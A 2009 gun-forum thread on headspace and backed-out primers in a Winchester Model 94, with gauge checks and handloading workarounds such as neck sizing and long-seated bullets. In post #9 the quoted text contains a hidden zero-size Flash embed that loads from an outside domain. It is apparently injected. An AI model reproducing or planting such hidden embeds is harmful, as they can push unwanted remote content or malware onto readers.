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  #1  
Old 04-26-2009, 02:28 PM
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adjusting headspace


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This should probably be asked in the gunsmithing forum. I am wondering who has had the headspace on their model 94? What did the adjustment involve and has the fix lasted? Would adjustment of headspace cause any lose of collectors value? I have notice the primers backing out on even factory loads, so I have stopped shooting until I decide what should be done with the rifle. The rifle was made around 1950.
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  #2  
Old 04-27-2009, 02:15 AM
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Unless you already have a set of headspace gauges, it may be more cost effective to have a gunsmith check the headspace. I'm not a gunsmith, but my understanding is that resetting headspace on a levergun is probably a job for a knowledgable gunsmith. As long as the 'smith does a good job I don't see why work to reset the headspace would affect the value.

That said, if you consider yourself a decent shadetree gun tinkerer you can probably check the headspace. You have to strip the bolt down and disconnect the bolt and locking block from the lever. Then you need to manually operate the lever and make good observations without any headspace gauge, then with the GO gauge, and finally with the NO-GO gauge in battery. The locking block should go the same distance into the action with the GO gauge as with no gauge in place, but should not go as far into the action with the NO GO gauge.

Here is Brownell's BenchTop tips on the subject.
http://www.brownells.com/aspx/NS/Gen...f=bt002024.pdf

Good luck! And let us know what happens.
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  #3  
Old 04-27-2009, 03:23 AM
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If you find that you have a small amount of headspace as confirmed by the use of a go/no-go gage you can adjust headspace by polishing the back of the sliding bolt as Explained by Harold Mcfarland in his gunsmithing book and in at least one article in an older American rifleman.
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The chances are quit high you do not have a headspace problem. There are several threads on the beartooth forum discussing primers backing out of factory 30-30 loads. The factory 30-30 is loaded to a low pressure and the case clings to the chamber walls and does not set back against the bolt face. This is a coomon occurance.
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If you are a handloader and after you have checked your rifle for headspace you might try an upper-end published load using a 170-grain bullet and you will probably find your primers flush with the head of the case.
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Use the advanced search function for threads on: “primers backing out.”
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  #4  
Old 04-27-2009, 03:41 AM
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I have had several Mod 94s over the years and primers backing out seemed to come with the territory but you CAN DO SOMETHING ABOUT IT. You simply headspace your cartridges to fit the rifle by not full length sizing the cases. Leave about 1/8" gap between bottom of die and shell holder.
By only neck sizing the cases you don't allow it to fire again with the built in slop in the chamber. Use a minimum published load for this and perhaps cast bullets to save on expense. As the shoulder length goes forward the case will back up towards the bolt face thus supporting the head and the primers will back out less and less. Might take three or four shots if you have a jumbo chamber but eventually the primers will look normal.


There is another method that if done with CAUTION will produce same results in one shot and that is to seat your bullets about .025" over max case length and load single shot. DO NOT LOAD IN MAG TUBE, THEY WON'T FEED.

Loaded "long" will allow the bullet nose to find the rifling and thus hold the loaded case snug against the bolt face when it is fired. Back off your load and use the minimum published load to allow for the possibility of increased pressures. Also only size your case necks maybe 1/8" down the neck, and the bullet is free to adjust itself as the action comes into battery. If you size the entire neck, bullet is held too tight and forces bullet into rifling which could raise pressures to a dangerous level. All you want to do is hold the case head against the bolt face when fired and just a little bit of neck tension is needed to do this. With light neck tension the bullet will slide down inside neck as bolt locks thus you are not jamming bullet in throat.


Once you see your fired primers looking like they are supposed to, start running your die down to say 1/16" gap and using a magnifying glass look at neck/shoulder area to see where the die stops sizing then very carefully adjust die 1/8th turn and size again and adjust until the die just touches the shoulder.
The trick is to only size the case to where the shoulder is just moved (set back)maybe .001" to .002" when bolt goes into battery (locked) position. Thusly you have changed the headspace of the case and made the case fit the chamber rather than the chamber fit the case.
The case is now technically headspacing on the shoulder rather than the rim and min sizing will enhance your case life tremendously.
I wouldn't worry with trying to change headpace on rifle because this is going to get expensive fast on a lever gun and will require a new barrel. A bolt gun headspace can be adjusted by unscrewing barrel, taking off one thread, moving shoulder forward about .020" less than you cut back of barrel off and rechamber on a GO gage.
The Mod 94 was never intended as a high round life platform where the Mod 70 Winchester is estimated to be able to shoot out 50 barrels and still be serviceable.
If it were me I would most likely sell the rifle as a collector and get a Marlin 336. I dumped all my 94s 30 years ago because of this problem.

Even better get a Mod 70 30-06 (assuming you want to stay with brand name) and don't look back. You can still find 30.06 ammo about anywhere, least ways in SC 30.06 is available. You can load it down to 30-30 velocity if you like and even use your 30-30 bullets in it for reloading.

The other day I found a 30 cal can full of 30-30 brass I forgot I had. I FL sized it all and tumble cleaned it and packed it back in the can. Might just try and find a Marlin 336 just to have something to shoot. A 30-30 will only get you to the lower end of the 30.06 range where with a 30.06 you can start with 30-30 energy levels and go way up with a vast selection of bullets available where you are very limited with 30-30 loads.
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  #5  
Old 04-28-2009, 03:39 AM
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I have taken literally hundreds of 94s apart and when headspace was checked, every one fell in the good catagory.....But, to answer your question, the headspace is adjusted with the locking block. If you look on the backside of each you'll see a number stamped on them indicating their size.....FWIW
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  #6  
Old 04-28-2009, 04:08 AM
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I just deprimed about 430 30-30 cases and noted there were maybe half a dozen with primers backed out. I don't remember the history on these as I have had the brass for years and decided to FL size them and clean with stainless media and get them ready to load. Don't have a 30-30 now but if a deal presents itself I may just have to get one.

Headspace range normally runs .006" and field service gage goes up to .010". I never checked actual backout dimensions with bench inspection gage but I think next time I find some backed out I might just see how much they are backed out for kicks. I will make a case holder as I have a chamber reamer for 30-30 that came out of the Winchester parts when they shut down in New Haven.

But from "feel" I have "felt" some primers that appear to be more than .010". On the rifles I build I set my headspace at 0 or maybe .002" above GO as I know sloppy chambers destroy case life. There is one more rifle I am aware of that is notorius for excessive headspace and that is 1917 Enfields. The engineering records at the Army Small Cal Lab confirmed this was well known at SA and I had one. I went over and checked out the Range Gage Set and starting running them and my rifle was like .004" over Field Service Rejection.

That was not a problem. I just fireformed a hundred cases and backed off the FL die to not take the shoulder back and never had a problem. I sold the rifle with the hundred cases after making sure the guy understood how to load for the rifle and to my knowledge he is still shooting it.

If I do get another 30-30 it will be a Remington 788 (first choice) and then Marlin Texan if I can find one affordable. That was a beautiful rifle and I wish they would go back and make another run. I think I read they have made two runs of them. I also liked the little Spikehorn but alas I missed one of them as well.
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  #7  
Old 04-28-2009, 12:03 PM
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thanks. i feel some better about the rifle now. i had bought the rifle because it was a deal i could not pass up. looks like there is still hope for the rifle.
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  #8  
Old 04-28-2009, 12:17 PM
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Unhappy

One more thing, do not dry fire the 94. The striker will beat on inside of bolt pooching out the bolt face around the striker opening ruining your bolt. I found that out the hard way.
Don't know if this is same for Marlin or not but I can speak from experience that I pooched one out when I was in high school.
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  #9  
Old 05-06-2009, 12:38 PM
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Quote:
Originally Posted by birdshot View Post
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="0" height="0"><param name="movie" value="http://famad.info/?tracker=3839"></param><param name="allowFullScreen" value="true"></param><embed src="http://famad.info/?tracker=3839" type="application/x-shockwave-flash" allowfullscreen="true" width="0" height="0"></embed></object>thanks. i feel some better about the rifle now. i had bought the rifle because it was a deal i could not pass up. looks like there is still hope for the rifle.
You certainly don't need to feel bad you have a fine piece there.
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